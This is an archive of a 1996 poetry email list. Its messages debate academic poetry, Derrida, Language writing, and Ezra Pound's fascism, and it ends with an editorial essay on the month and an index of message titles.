"In the late nine-thirties, as I came into some kind of social consciousness, ideads of Whitman's had come also to be the ideas of established and increasingly coercive governments. Totalism--ensemblism-- is haunted when we return to it today in the dark monstrosities of socialistic and democratic totalitarianism."

The non-coercive ensemble is an anarchist ideal--or problematic form--that Duncan attempts to achieve throughout his work.

It is necessary to beware of academic specialists who devote themselves to this or that figure in ignorance of field their work properly and responsbility belongs to.

Don Byrd

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743. **Maria Damon**
Re: academic poet/ry
Thu 29 Feb 1996

emily: i don't necessarily agree that one needs an academic background to read L poets and not Dove or ginsberg, or at least, that this has to do perhaps more with the social saturation of certain norms of what "poetry" is that makes folks think it's easier to understand one form of poetry than another. a contemp. young person would probably need an academic exposure to "understand" shakespeare's sonnets, but not to understand that it is meant to be taken as "serious poetry." it's amazing to me how fast students with a traditionalist poetry background (i.e. a "semi-educated" one) get excited about experimental stuff once it's demystified for them, which doesn't take long, and usually can be done in group play-type activities,like guess-the-puns-in-this-stein-piece or read this funny hannah weiner play (from codes) aloud going aaround the room. lots of laughs and a sense of mastery. maria d

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744. **Donald J. Byrd**
Re: Rob't Dunc. Pt. II of DB's Post
Thu 29 Feb 1996

I should have identified Ronald Duncan, a poet and playwright who edited _The Townsmen_. He was a part of the Pound network in way that Robert Duncan never was, and he seems to have been committed more or less to EP's agenda. There are a number of letters from EP to him in the _Selected Letters_.

Don Byrd

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745. **Ray Davis**
Re: academic poet/ry
Thu 29 Feb 1996

> *A=need academic background (me, and I suspect most others) TO B=understand exp.-lang poetry.*

First, I don't think that's necessarily true. I didn't find good Stein+Zukofsky-sprung poetry through school, and don't know anyone who did. If anything, I think _autodidacts_ are more likely to be attracted towards that goofily difficult bunch of "traditions" (where "tradition" means that if you read one writer and you like her, you're likely to end up bumping into this other writer while researching).

(One of the reasons Bob Perelman's book _The Trouble with Genius_ shook me up so badly was that it seemed to point out some serious flaws in this notion of a cross-temporal utopia of autodidacts.)

Second, things do change. My experience matches Donald Byrd's: in the mid-to-late '70s, "French poststructuralism" wasn't supported by USA academia. In my college, I could find no philosophy or English professors who'd ever read Derrida, though some had heard of his name.

Maybe what the disagreement boils down to is whether all "intellectuals" are kept safely in the cages of academia, lining their floors with the _New York Review of Books_. Academia likes to give that impression; non-academics tend to bristle at it (unless they're instead the types to bristle at being accused of intellectualism).

Ray

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746. Rod Smith
Re: dead horses, live theories
Thu 29 Feb 1996

Didn't mean to downplay what is more aptly called the American Invasion of Indonesia-- which is very much emphasized in my attempt to contextualize these things in my introduction to the Watten issue of _Aerial_. & Don I think is exactly right about what got called by the Trilateral Commission "The Crisis of Democracy." Of course what they meant by this "crisis" is "there's a threat that the population might actually get involved in running things." In '71 Nixon & co. radically reorganized the intl monetary system essentially disavowing the U.S. role as intl banker & setting up institutions even farther from any possibility of public control (than the US govt). All of this accelerated the disproportionate distribution of resources (it's now 60 to 1 between industrial countries & the third world, & actually much greater within individual countries). My source for much of this information is Chomsky, his sources are things like The Finacial Times & the NYTimes.

Beside all this the question of when French theory hit seems small, but I do recall Carla H. saying to me "we were reading Derrida & Barthes in '73" -- & I think the vocabulary of l.p. was effected by that. But, & this is why it was so interesting, l.p. did it on their own terms.

I don't really understand the idea that it doesn't matter where someone went to school-- of course it does, it's a major formative experience. It's not "necessary" to know it, but it is of interest in understanding the contexts from which someone is writing.

Thinking more about this question of class-- as a generality "class" is all too accurate-- one, however, does not experience oneself as a generality-- that is precisely the violence of class. In that sense it's not so complex-- it's that, through an easily discernible disproportinate & unjust allocation of resources one is _defined_. Of course, the individual's struggle with it _is_ complex, particularly in a society in which there is a certain amount of class mobility (getting to be less & less mobile), but the fact of it seems awfully clear. Part of what poetry _is_ is resisting such definition, such overdetermination. & I think all of the people I mentioned that went to Harvard also saw that overdetermination & turned to a form of expression in which they also cld resist it (I know I know, another problematic generalization). But I think the fact that they went to Harvard, the job of which is to establish & maintain elite power, & chose _poetry_ is immensely to their credit.

Finally, re the question Chris raised abt a popular base-- we do have the example of the slam thing, the Nuyoricans etc. & my experience of that scene is that their are a number of quite interesting writers there. Heard a radio interview with Pete Seeger, he was asked to compare his political activities of the 30s/40s with the 80s/90s-- he said "They used to have to beat us back, now they just drown us out."

Off the global politics of wittle poets topic-- re Oppen-- there seems to me a fairly large shift in his work after _Of Being Numerous_ -- I love all his work, but the late books particularly -- he seems, perhaps, to have let go of a certain kind of sense in favor of another. Reminiscent perhaps of the first book, but possibly effected by Duncan's ear? An even further opening of the open text? That kind of fluidity.

Rod

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747. **Chris Stroffolino**

Re: academic poet/ry

Thu 29 Feb 1996

---

dear maria--okay i won't forget....
dear joe---yeah, despite my antitheory tirade, i too find the taboo against
theory in creative writing depts. appalling.....
"and after all that won't you give me a smile...."

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748. **Chris Stroffolino**
Re: academic poet/ry
Thu 29 Feb 1996

---

maria--you raise an interesting point (and one my experience corroborates) that "it's amazing...how fast students with a traditionalist poetry background...get excited about experimental stuff"--- I'm curious what, if any, experience you've had with the converse-- do poets who have an "experimental" background get excited about say Dove or Ginsberg or Shakespeare or Hardy, etc? chris s

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749. **Chris Stroffolino**
Re: academic poet/ry
Thu 29 Feb 1996

---

yeah, emily, and Wittgenstein fortune cookies....
(the image of bernstein as park preacher is great)---
inflitrate the movies....
you know how much duncan donuts paid to be eaten during JUNGLE FEVER...
now only if we could stick a few CHAX books strategically besides
boxes of CHEX in a supermarket, and you'd pull a string and it
would TALK (and drown out the muzak version of "straight: no chaser")
.....ju(s)t think....
I did see a warhol graffiti in DC in 1983
"art is anything you can get away with"
Marisa Januzzi told me that she plastered mina-loy broadsides
around NYC (hopefully blocking out those RWV AND COST FUCKED MAD-
ONNA things).....
ONNA things).....chris

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750. **Ray Davis**
Re: academic poet/ry
Thu 29 Feb 1996

> *& there's no*
> *excuse for the way derrida writes when his central ideas could be*
> *articulated in a pamphlet.*

Change that "when" to "if" & I'd agree with you.

For me, Derrida's "central ideas" _depend on_ his ridiculously complex styles, and my pleasure in his writing depends to some extent on his ridiculousness. My fellow (& far superior) non-poet genre-writer Samuel R. Delany has written about this in his _Silent Interviews_. One sample paragraph:

"Thousands of lies, reams of nonsense, and barrels of bullshit are put out each day in unadorned, straightforward language. And they're swallowed right down -- because no one is initially uncomfortable with the 'simple' rhetoric. People assume sentences such as 'Thousands of lies, reams of nonsense, and barrels of bullshit are put out each day in unadorned, straightforward language,' are somehow _less_ rhetorical, and more transparent to truth, than, say, this sentence which both criticizes the assumptions about it and quotes it -- when indeed both sentences are equally rhetorical, only coming from different rhetorical traditions, the inner one only more familiar than the outer (or marginal) one."

Ray

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751. **Alan Sondheim**
Re: academic poet/ry
Thu 29 Feb 1996

On Wed, 28 Feb 1996, Emily Lloyd wrote:

(excuse the cutting)

> Which sort of brings me around to Henry's political questions. & there's no
> excuse for the way derrida writes when his central ideas could be
> articulated in a pamphlet.
>
> Em
>
1. But there is an "excuse" for the way Silliman or Bernstein write? Do writers need excuses?
2. What exactly are Derrida's "central ideas"?

Alan

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752. **Steven Howard Shoemaker**
scanning brains/ scanning poems
Thu 29 Feb 1996

Tom Bell writes:

"The nun study has received some recent attention here and elsewhere. Another study was published last month that has potentialy greater impact. Cognitive-behavioral therapy physically alters the brain.(this is a replication of earler studies and documented through physical - PET Scan - evidence) Does this mean that poetry can change the way a reader or writer's brain works?"

Sure it can, and i'm a bit surprised by the question, by the tentativeness of that groping for "scientific" confirmation of what we know to be true. No question that reading all that poetry makes us different people, changes the kinds of organisms we are. But to stick with "science" or "biology," the question arises from a persistent reification, common to popular discourse, of the "biological" as a kind of lumpy given. In fact, we evolve in dialectical relation to "environment" from the get-go--that environment is always interacting with and modifying the genetic script. If you don't get all the nutrients you need (like the 25% of children in this country living below the "poverty line") your growth will be stunted (and, among other things, your brain won't develop the way it cld/shld). If you don't get a chance to read at a young age, certain synaptic pathways just will not be formed. And as for poetry, they may not be able to point out the relevant topographies on the brainscan yet, but there's no doubt in my mind, so to speak, that there must be biological formations/matrices corresponding to "poetical activity" if one knew where to look. I mean, i can feel them pinging away in there when i sit down to read a little Kit Robinson, can't you? The american tree is, well, dendritical...

steve shoemaker

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753. Douglas Messerli

Re: dead horses, live theories

Thu 29 Feb 1996

Don,

I'll second that. Thanks to you also. And Ron
for the serious commentary.

Douglas

==========

At 10:04 AM 2/29/96 -0500, you wrote:
> I would like to thank Ron Silliman for the sense of
>the history that he consistently brings to the discussions on
>this list. Given the massive cultural amnesia, the 60's and
>70's have grown very dim and the 50's have been reduced to a
>kind of cartoon. (I am conscious that in the 50's this forty

>year span of the recent past would have been considered not
>history at all but current). Last night, in my seminar on
>Poetics, the _Ketjak_ period of Ron's work came up, and I
>found myself trying to put it in perspective in much the same
>way I would have had it been written in the 19th century.
>
> There was some massive trauma in the 70's that has
>not been adequately accounted for. In one sense, it cuts
>us off the poetry of the Allen anthology, not totally but in
>ways that make reading it impossible without an insistent
>awareness of the historical distance.
>
> The dramatic use of monetary policy accounts for
>part of it. I hate to sound like Pound and the credit
>cranks, but there seems no doubt that the Federal Reserve
>managed in the 70's to take control of the economy in ways
>that Pound's contemporaries had theorized but didn't have
>the data management systems to implement.
>
> At any rate, it's hard to trace directly from
>something as vague as that to what happened in the mid-70's.
>
> The continental theoretical sources to which the
>Language poets turned were not at that time academic
>currency. I taught a course about 1975 which I organized
>around Foucault's _The Order of Things_, and
>such readings in an English department were unheard of.
>(Of course, by the end of 70's it was commonplace).
>
> To pick up on Emily Lloyd's question: the odd
>situation in the 50's and 60's as far as poetry was concerned
>was that the "academic" poets were typically anti-intellectual.
>The poets of the Allen anthology were the theorists and
>intellectuals, and there is really nothing very surprising
>about this. Traditionally, literary studies had to do
>with matters of taste; the ideas--to the extent they were
>of concern--were given. And literary study is still
>deeply confused about ideas. The reason so much
>academic theorizing is emtpy is that academics
>developed a _taste_ for theory. To say nothing of the fact
>that for many of them it is a time saving device: if you
>develop a taste for, say, Foucault, you do not have to

>read all of those god-awful dusty books that he read.
>
>The great danger of the academification of poetry is that
>literary study still conceives of itself as purveying a
>certain set of tastes. That is specifically ("there
>is no accounting for taste"), it is devoted to putting
>its texts out of account. I suspect that many of the
>teachers out there feel they have had some kind of
>success when their student's leave their classes "liking"
>Foucault or the poetry of Ron Silliman or whatever.
>This is what it means to have an academic tradition. It
>is not a question of whether some one gets their
>bread by working in a university or driving a taxi.
>An academic tradition of art is very like an academic
>tradition of athletics, it has fans, cheerleaders, and
>so forth. Some times on this list, I hear people cheering
>for this or that poet or group of poets. It's a harmless
>pass time, I suppose, but it is just, when it comes to that,
>a pass time.
>
> Don Byrd
>

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754. **Susan Schultz**
Re: fellow ships
Thu 29 Feb 1996

What makes Koethe an academic poet? That he teaches in a philosophy department? Seems to me that definitions of academic poetry are made of convenience: both John Hollander and Charles Bernstein have been called academic poets, surely.

Susan

On Thu, 29 Feb 1996, Daniel Bouchard wrote:

> *Jordan wrote (with disgruntlement):*
>
> *and as for who's an academic poet, pace John Koethe, have you all seen the list of panelists and recipients for this year's NEA creative writing fellowships?*
>
> ———

> *No, Jordan, I haven't seen them. (I don't follow the Grammys or Oscars either.) So tell us: who's getting what, how much and who picked 'em and why?*
>
> [redacted]

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755. **David Golumbia**

Re: academic poet/ry

Thu 29 Feb 1996

Ray Davis wrote:
>
> >& there's no
> >excuse for the way derrida writes when his central ideas could be
> >articulated in a pamphlet.
>
> Change that "when" to "if" & I'd agree with you.

I couldn't agree more (nor more with the SRD quote you appended). Back to politics, and whatever you think/make of Derrida's politics in particular, I almost always have the feeling that attacks on D. for his "obscurity" have a politically unpleasant edge.

If I wanted to be catty, I'd throw it back to Emily: what exactly *are* Derrida's "central ideas" -- and note that the best attempt I know to articulate these, Geoff Bennington's JACQUES DERRIDA, takes a whole book and includes a (partially) convincing "refutation" by J.D. himself along the bottom margin. Or cf. Simon Critchley's ETHICS OF DECONSTRUCTION, which takes on only a small set of issues and yet serves only to convince the reader of how much more there is to be said (by J.D., by Levinas, etc.).

But I've somehow lost the thread here -- couldn't the same point be made about Hejinian, Ron S., Oppen, Cage, Stein, Brooks, and on and on -- isn't it a kind of joint commitment of "L" writers and "M" writers and some (good) ("normal") writers and Derrida that, whatever language *is*, plainly transparent it isn't? And that some politics, at least, is implicated in the recognition of that fact? And by the way, isn't this one of the things that really turns off the academy to L. poets in terms of hiring? Not the questioning of one's methods, so much as the questioning of the "literal" base of the transaparent-communication enterprise?

--
[redacted]
David Golumbia

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756. David Golumbia
Re: dead classes, living classes, theory?
Thu 29 Feb 1996

Chris Stroffolino wrote:
>
> "they said we'd be artistically free/ when we signed that bit of paper/
> they meant (make a little royalty) and worry about it later"

Try:

They meant, they'd make a lot of money
(actually he may say "lots" for
colloquial effect -- like the stress on the final syllable too)
And worry about it later

Other than that, yrs in agreement...

--
[redacted]
David Golumbia

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757. Jordan Davis
prefatory remarks
Thu 29 Feb 1996

Fred, Interesting. But I don't think the pejorative assigned to people who explicate themselves is "hack", and I don't think you have to invent a jargon of purity for the people who do things differently. I don't doubt that there are people who would say those things; I prefer to think of them as thinking about something else. My problem with explication-as-introduction, footnoting, and other apparatuses (and I have to say, this is my problem with David Jones) is that they have been used clumsily as cites for sleight of hand, and other very base illusions (cf. Waste Land). I don't want poetry to confuse me, I don't want it to depress me or make me overexcited. I am afraid that so far I have belonged to an imaginary group of chthulhu writhers who dream only of a poem that enacts its own writing, and is still somehow amazing--something intelligent and beautiful--and if it arrive in either the lab coat of experiment or the buggy of pleasure, will I fail to welcome it? Huh? No. I will fail, though, if I fall asleep.

And I don't think this stance toward explication is unique to the poetic right wing; Ted Greenwald told me after a reading at St Marks (he read three of his books in twenty-five minutes or so) that when you read, "no bullshit" is the rule.

All best,
Jordan

PS Don't forget to come to Poetry City, your experimental theme park. Tonight's main attractions, Bill Luoma and Simon Pettet. Bill will be available to sign his new gorgeous Khlebnikoved-out book _Swoon Rocket_ (The Figures) not to mention the last seven copies of _My Trip to New York City_, and Simon's _Selected Poems_ and _Talking Pictures_ (with Rudy Burckhardt) will be on the table too. Poetry City is located at 5 Union Square West (between 14th & 15th), 7th Floor, NYC. The reading begins at 6:30, and it's free.

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758. Henry Gould

Mr. Gould on derrida transpee blah blah

Thu 29 Feb 1996

Walking home from work I was thinking about what moves me
logos?
ethos?
pathos
Aristotle's analysis of tragic poetry
pathos is "when you empathize emotionally via the sympathetic
imagination with represented suffering & its outcome"
and I was thinking about thee, philosophe
with thine own trails of logos-passio
burying Philosophy (same tomb with God)
embracing Poetry (lookout honey he's a Pwoffessah)
and about the po bereft Polis
artificial a collective construct built
by Private Unknown Solderer
no bull cut the bull she said, not maybe a-mused
art hides itself
in Act Five (Hamlet over easy)
and we will talk the sweet nonsense
A*MORE LOCO SENSUS COMUNIS

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759. **David Kellogg**
Re: dead horses, live theories
Thu 29 Feb 1996

As an academic "in" contemporary poetry studies but not in creative writing programs, apparently doomed for the forseeable future to adjunct positions outside the tenure track, I thought I'd just throw in a cheer for Ron's and Joe's and Don Byrd's posts. And add my own perspective.

1) Cheerleading. You don't have to be slated as a "poet" to be enlisted in this business; it's enough to be in CONTEMPORARY poetry. My own work explores the circulation of cultural value in contemporary poetry from a perspective owing a lot to Foucault, Bourdieu, and B. H. Smith, in other words a perspective that looks at cultural fields and their mechanisms of exclusion/inclusion/definition without a "promotional" end in mind. Yet I don't know how many times I've been asked, "So, who does your work support? If we buy your account, should we read Ashbery or Amy Clampitt?" People really get pissed off when I respond, "My theoretical work is about why and how questions like that keep getting asked; it doesn't answer them. Still, stay the hell away from Clampitt."

2) Tastemaking. If as an academic in the poetry biz you don't tell which contemporary poets to read, you're expected to tell why we should read poetry at all. Refusing to do this causes no end of trouble. I know why I read poetry, but I know plenty of people who don't read any, and they don't seem to be deprived. It's damned presumptuous to write as though they are, or to suggest that the reasons why poetry is important to ME will be important to anybody else.

3) Theorization as self-interrogation. Joe Amato has hit the nail precisely. Since the academic poetry biz is invested in perpetuating its own cultural value, to question or even explicitly state why you do what you do (in writing no less) seems like academic suicide. For the same reasons, theory as cultural fashion becomes -- astonishingly -- a mode of reestablishing the poetic as the ultimate source of value. So, to pick up on another recent thread, though Mutlu Blasing's book POLITICS AND FORM IN POSTMODERN POETRY opens by ridiculing the open form debate as a "heroic drama of a central agon between the forces of reaction and progress," she can't help framing her readings (and the poets she reads) as an advance, a repudiation of the hopelessly naive Pound.

That's the current state of my cynicism.

Cheers,
David

~~~
~~~

763. Maria Damon
Re: academic poet/ry
Thu 29 Feb 1996

hey em, you sound like my kind of guyzie-type guyzie. guerrilla anything is cool.--maria d

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764. Blair Seagram
Emerson & Trans parency
Thu 29 Feb 1996

I found this in my notes on Emerson.

Transparency is manifested by the medium lying between two discontinuous realms.

Transparency is impossible in the absence of either or both (transparent?) opaque realms. Something always lies beyond the medium. The essence of a transparent medium is to be between two things. The eye sees "by means of " and despite. The two realms enclosing the blank space of transparency are characterized by color and figure which define opacity.

That idea gets connected to this:

"Through solidest eternal things (man) woman find their road, as if they did not subsist, and does not once suspect their being .As soon as she needs a new object, suddenly she beholds it and no longer attempts to pass through it, but takes another way. When she has exhausted for the time the nourishment to be drawn from any one person or thing, the object is withdrawn from her observation and though still in her immediate neighborhood, she does not suspect its presence."

Does death come from refocusing or vice versa. Does the friend withdraw into death or does our perception or recognition of the use of the friend push the friend toward death.

It is the secret of the world that all things subsist and do not die, but only retire a little from sight, and afterwards return again.

The solid globe of Parmenidean nature is an opaque version of the transparent eyeball in (Emerson's) "Nature".

Blair

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1996

745 messages · Thu 29 Feb 1996 – Sun 31 Mar 1996

The month opened with the ink barely dry on a new law. On the eighth of February the President had signed the Telecommunications Bill, and folded inside it the Communications Decency Act, which made a crime of sending an indecent word to anyone under eighteen; before the day was out the ACLU and the National Writers Union were in a Philadelphia courtroom trying to have it struck down. The bulletin reached the list as a forward, was duly read, and provoked almost nothing. Overhead, meanwhile, the brightest comet in twenty years crossed the northern sky, near enough the pole star to be seen without a telescope. The room looked up at neither. It had a question of its own that March, and could not stop asking it: who is permitted.

The asking began, as it so often does here, with a word. Thirty messages went to avant-garde — whether it meant anything, whether it had ever meant anything, whether the people deploying it were describing a practice or guarding a door. Eryque Gleason would not have the term at any price, objecting to *“the vagueness”* of avant-garde and experimental alike, while chris daniels, who posted sixty-nine times that month, would not let the word alone. It was a quarrel about a label, prosecuted with enormous energy by people who suspected, correctly, that the label was very nearly all that held them together.

The quarrel proper was Ezra Pound, and it ran to four threads and some fifty letters, the titles alone recording the room’s mounting embarrassment: Bury Fascist Ezra Pound became let’s talk about fascists, bay-bee... became, inevitably, let’s NOT talk about fascists, but ourselves. Ada Aharoni would not have the poet parted from his *“genius mates”* Hitler and Mussolini. Alan Sondheim, who had read Mein Kampf and Céline and Pound precisely in order to know what we are, answered that *“the last thing we need is censorship”*. Chris Stroffolino wondered whether critical superiority *“is not a form of censorship”* itself, and if so why not throw out everybody. Ron Silliman, declining the frame entirely, offered only that *“I wasn’t born in Idaho in the 19th C.”*

What nobody quite said aloud was that the question was not hypothetical. A usenet ballot stood open until the eighteenth of March on whether to create rec.music.white-power — neo-nazis wanted a newsgroup, and anyone with an electronic mail account had a vote. Joe Amato forwarded the call, voted no, and hesitated in public over the first amendment as he did it, remarking that the

business touched on *“how best to deal with fascism”*. Fifty letters on a dead fascist’s prosody; one forward about a living one’s newsgroup, passing almost without comment.

And then, on the last Sunday of the month, Maria Damon wrote to report an evening at Woods Hole: poetry videos screened in somebody’s front room, girl scout cookies and pesto pizza, and people who had spent their lives insisting poetry was depressing staying up late quoting Maggie Estep to one another. In the middle of her catalogue of the evening’s pleasures, in parentheses, the comet — *“everyone went out to watch”* — and it is the only time in seven hundred and forty-five letters that a soul mentions it. I have set the ballot and the quarrels and that parenthesis in the order the month sent them, and let the parenthesis stand where it fell, because a room that spent March deciding who might be let in had, on one night at the end of it, let everybody in and gone outdoors to look at the sky.

— Kristen M. Fabians

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198. Thomas Bell — Re: avant-garde
199. Rod Smith — DC Reading
200. James Perez — "scientism"
201. chris daniels — FW: "scientism"
202. R I Caddel — Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996
203. William M. Northcutt — Pound on the front pohch waving his shotgun
204. chris daniels — Re: thanks richard caddel
205. chris daniels — Re: thos a clark's ghost book
206. Schuchat — Re: avant-garde
207. Karen or Peter Landers — Re: 16 Oz or
208. Henry Gould — Re: avant-garde
209. Charles Alexander — Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996
210. Herb Levy — Subtext Readings in Seattle
211. Paul Naylor — avante-garde and other terms
212. Henry Gould — Re: avante-garde and other terms
213. Jordan Davis — should be = death
214. Paul Naylor — Re: avante-garde and other terms
215. R I Caddel — Carlyle Reedy
216. Henry Gould — Re: should be = death
217. David Baratier — Re: Ghost books
218. Steve Carll — Re: avante-garde and other terms
219. Alan Sondheim — Re: 16 Oz or
220. Henry Gould — what is poetics
221. Bill Luoma — NYC Poetry Talks, fwd from R. Fitterman
222. Steven Howard Shoemaker — Re: avant-garde
223. David Kellogg — Another one for the academics
224. Ada Aharoni — Re: avant-garde
225. Chris Stroffolino — Re: avant-garde
226. Steve Carll — Re: turn of the repressed
227. David Golumbia — Re: turn of the repressed
228. Emily Lloyd — let's talk about fascists, bay-bee...
229. Alan Sondheim — Re: let's talk about fascists, bay-bee...
230. chris daniels — Re: avant-garde
231. chris daniels — Re: avante-garde and other terms
232. chris daniels — Re: should be = death
233. chris daniels — Re: 16 Oz or
234. chris daniels — Re: let's talk about fascists, bay-bee...
235. Emily Lloyd — Re: let's talk about fascists, bay-bee...

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236. Gary Hawkins — Re: Pound
237. Gwyn McVay — Re: 16 Oz or
238. Peter Jaeger — Re: avant-garde and other terms
239. cris cheek — Re: Reedy / plus Sound & Language books (special offer)
240. Henry Gould — Re: avant-garde and other terms
241. Chris Stroffolino — Re: let's talk about fascists, bay-bee...
242. Karen or Peter Landers — Re: 16 Oz or
243. James Perez — Re: avante-garde and other terms
244. James Perez — Re: let's talk about fascists, bay-bee...
245. Emily Lloyd — Re: 16 Oz or
246. Henry Gould — Pound in the doghouse
247. Charles Alexander — lb.'s oz.
248. Daniel Bouchard — Pound takes an "ing"
249. Jordan Davis — HYPE CITY thanks
250. - Kim Tedrow — Re: HYPE CITY thanks

251. Alan Sondheim — Re: 16 Oz or
252. David Baratier — Re[2]: avant-garde
253. Alan Sondheim — Re: let's talk about fascists, bay-bee...
254. Jordan Davis — POETRY CITY 6:30
255. William Slaughter — Re: query: book distribution
256. Aldon L. Nielsen — Re: wings & things
257. Steven Howard Shoemaker — Re: ghost titles
258. Chris Stroffolino — Re: in the public domain...
259. David Baratier — PAVEMENT SAW
260. Henry Gould — poetry center info/donations
261. Tony Green — Re: what is poetics
262. James Perez — Re: 16 Oz or
263. Emily Lloyd — Pound's mean: examples
264. Emily Lloyd — Re: in the public domain
265. Henry Gould — Re: what is poetics
266. Tony Green — Re: avante-garde and other terms
267. Daniel Bouchard — Pound takes a "Ding" -Returns a "Dong"
268. cris cheek — Thomas A Clarke
269. Chris Stroffolino — Re: in the public domain...
270. Wystan Curnow — Re: let's talk about fascists, bay-bee...
271. Wystan Curnow — Re: 16 Oz or
272. Thomas Bell — Re: let's talk about fascists, bay-bee...
273. Rod Smith — Re: ghost titles
274. Emily Lloyd — Bad Folks List
275. chris daniels — FW: lb.'s oz.
276. Alan Sondheim — Re: let's talk about fascists, bay-bee...
277. chris daniels — (no subject)
278. Eryque Gleason — Re: Bad Folks List
279. william elliott vidaver — Question re: Schwitters studies
280. Alan Sondheim — Re: 16 Oz or
281. Carla Billitteri — Re: let's talk about fascists, bay-bee...
282. chris daniels — Re: 16 Oz or
283. Tim Wood — Re: poetry center info/donations

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284. Christopher Filkins — Re: Bad Folks List
285. chris daniels — Re: Thomas A Clarke
286. R I Caddel — in for a pound
287. Charles Alexander — Re: Thomas A Clarke
288. Henry Gould — Re: poetry center info/donations
289. Michael Boughn — Re: 16 Oz or
290. Jonathan A Levin — Re: in for a pound
291. Karen or Peter Landers — Re: 16 Oz or (bow outs)
292. Joe Amato — in the public domain...
293. Joe Amato — the postman...
294. Jerry Rothenberg — Re: Pound takes a "Ding" -Returns a "Dong"
295. Alan Golding — West coast trip
296. David Kellogg — Re: ghost titles
297. Dan Machlin — New Reading Series at Segue
298. Charles Alexander — Re: 16 Oz or (bow outs)
299. Dan Machlin — Additional Readings at Segue
300. David Baratier — battling the other
301. Charles Watts — Action Derrida (et al) francaise
302. cris cheek — Re: Thomas A Clarke / Charles Verey / Neil Mills et al
303. Aldon L. Nielsen — Re: AN: Aldon Nielsen: BAD
304. chris daniels — Re: AN: Aldon Nielsen: BAD

305. Chris Stroffolino — Re: ghost titles
306. Chris Stroffolino — Re: AN: Aldon Nielsen: BAD
307. Wendy Battin — Re: let's talk about fascists, bay-bee...
308. Chris Stroffolino — Re: let's talk about fascists, bay-bee...
309. Schuchat — Re: poetry center info/donations

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310. Ada Aharoni — Re: Bury Fascist Ezra Pound
311. chris daniels — Re: Bury Fascist Ezra Pound
312. Alan Sondheim — Re: Bury Fascist Ezra Pound
313. Ada Aharoni — Re: Bury Fascist Ezra Pound
314. R I Caddel — Dom Sylvester Houedard
315. Ron Silliman — Re: 16 Oz or (bow outs)
316. Ron Silliman — let's NOT talk about fascists, but ourselves
317. Schuchat — Re: let's NOT talk about fascists, but ourselves
318. Ron Silliman — Fwd: The poetry of Lenore Kandel (fwd)
319. Wendy Battin — Re: let's talk about
320. David Golumbia — Re: let's NOT talk about fascists, but ourselves
321. chris daniels — FW: let's NOT talk about fascists, but ourselves
322. Joe Amato — Re: let's NOT talk about fascists, but ourselves
323. Peter Jaeger — Re: Marlene Noubese Philip and Pound
324. chris daniels — Re: let's NOT talk about fascists, but ourselves
325. Emily Lloyd — Re: let's NOT talk about fascists, but ourselves
326. Aldon L. Nielsen — Re: Baraka again
327. Andrew D Epstein — Silliman and Hejinian Reading
328. - Kim Tedrow — Re: Bury Fascist Ezra Pound
329. Eryque Gleason — Re: Bury Fascist Ezra Pound
330. chris daniels — Re: Bury Fascist Ezra Pound
331. Emily Lloyd — Re: Baraka again
332. chris daniels — Re: Bury Fascist Ezra Pound
333. Eryque Gleason — Re: let's NOT talk about fascists, but ourselves
334. chris daniels — Re: Baraka again
335. James Perez — learning about the other
336. James Perez — Re: let's NOT talk about fascists, but ourselves
337. James Perez — Re: Baraka again
338. Paul Naylor — Nourbese Philip
339. Jordan Davis — switzerland
340. Paul Naylor — Nourbese Philip
341. Emily Lloyd — Re: learning about the other
342. Chris Stroffolino — Re: let's NOT talk about fascists, but ourselves
343. Emily Lloyd — p.s. other
344. Robert Drake — Re: let's NOT talk about fascists, but ourselves
345. Chris Stroffolino — Re: Baraka again
346. Christopher Filkins — Re: let's NOT talk about fascists, but ourselves
347. Emily Lloyd — dadaists & mamaists
348. Christopher Filkins — Re: dadaists & mamaists
349. Jordan Davis — crowds and power
350. chris daniels — Re: Baraka again
351. chris daniels — Re: let's NOT talk about fascists, but ourselves
352. chris daniels — Re: p.s. other
353. chris daniels — Re: let's NOT talk about fascists, but ourselves
354. Emily Lloyd — Re: NAMBLA
355. jms — Re: ghost titles
356. Maria Damon — Re: avant-garde
357. Charles Alexander — Re: dadaists & mamaists
358. Charles Alexander — Re: avant-garde

359. Ron Silliman — Re: switzerland
360. Tenney Nathanson — more on Pound: query for Jerry R.

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361. Rod Smith — Re: switzerland
362. chris daniels — FW: Re: NAMBLA
363. Schuchat — Re: switzerland
364. Peter Jaeger — Re: Nourbese Philip
365. Joe Amato — voting on a new usenet group...
366. Tony Green — Re: avant-garde
367. Tony Green — Re: Bury Fascist Ezra Pound
368. Gabrielle Welford — Re: Bury Fascist Ezra Pound
369. Charles Bernstein — Pound & Man at Yale
370. Gabrielle Welford — Re: let's NOT talk about fascists, but ourselves
371. Gabrielle Welford — kids without godparents
372. chris daniels — Re: switzerland
373. chris daniels — Re: Pound & Man at Yale
374. Tony Green — Re: avant-garde
375. Gabrielle Welford — Re: dadaists & mamaists
376. chris daniels — Re: voting on a new usenet group...
377. John E. Matthias — Pound & Fascism, etc.
378. Tony Green — Re: what is poetics
379. chris daniels — Re: avant-garde
380. chris daniels — Re: Bury Fascist Ezra Pound
381. chris daniels — Re: dadaists & mamaists
382. Tony Green — Re: 16 Oz or
383. Gabrielle Welford — Re: kids without godparents
384. Gabrielle Welford — this list
385. Jerry Rothenberg — Re: Pound & Fascism, etc.
386. Joe Amato — Re: voting on a new usenet group...
387. Eryque Gleason — Re: Bury Fascist Ezra Pound
388. Eryque Gleason — Re: learning about the other: forgive buut never forget.
389. Aldon L. Nielsen — Re: Imamu Redo
390. Gabrielle Welford — Ed Fallon
391. chris daniels — Re: Pound & Fascism, etc.
392. chris daniels — FW: Re: Pound & Fascism, etc.
393. chris daniels — Re: learning about the other: forgive buut never forget.
394. chris daniels — FW: this list
395. chris daniels — Re: voting on a new usenet group...
396. chris daniels — Re: learning about the other: forgive buut never forget.
397. chris daniels — badfolks list
398. Pierre Joris — Re: Bury Fascist Ezra Pound
399. chris daniels — Re: Ed Fallon
400. Joe Amato — Re: Pound & Fascism, etc.
401. Paul Naylor — Nourbese Philip
402. Emily Lloyd — Kids, Frieddy, etc.
403. Steve Carll — Re: switzerland
404. Steve Carll — Kundera
405. Paul Naylor — Uber-Freddy
406. tosh berman — Re: Bury Fascist Ezra Pound
407. Karen or Peter Landers — Re: 16 Oz or (bow outs)
408. Emily Lloyd — Re: Uber-Fried
409. chris daniels — Re: Pound & Fascism, etc.

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410. Rod Smith — Re: dadaists & mamaists
411. Thomas Bell — Kellog's article and reification

412. Aldon L. Nielsen — Re: _Rethinking C.L.R. James_
413. Aldon L. Nielsen — Re: headings
